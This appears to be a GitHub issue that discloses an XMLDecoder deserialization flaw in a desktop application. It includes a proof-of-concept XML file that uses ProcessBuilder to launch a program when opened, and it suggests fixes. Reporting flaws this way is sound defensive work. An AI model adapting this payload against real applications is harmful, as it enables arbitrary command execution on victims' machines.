Skip to content

There is an XMLDecoder reflection vulnerability #355

@AfterSnows

Description

@AfterSnows

open the software, select the open option of FiLE, select the malicious xml to trigger

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1" >
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

8UJ$OQ0825EZC%UZ5CX

Fix measures: do not use XMLDecoder to read files directly, implement a validate function, before the execution of XML decoding (XMLDecoder), check the InputStream object filter, learn the weblogic repair way

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions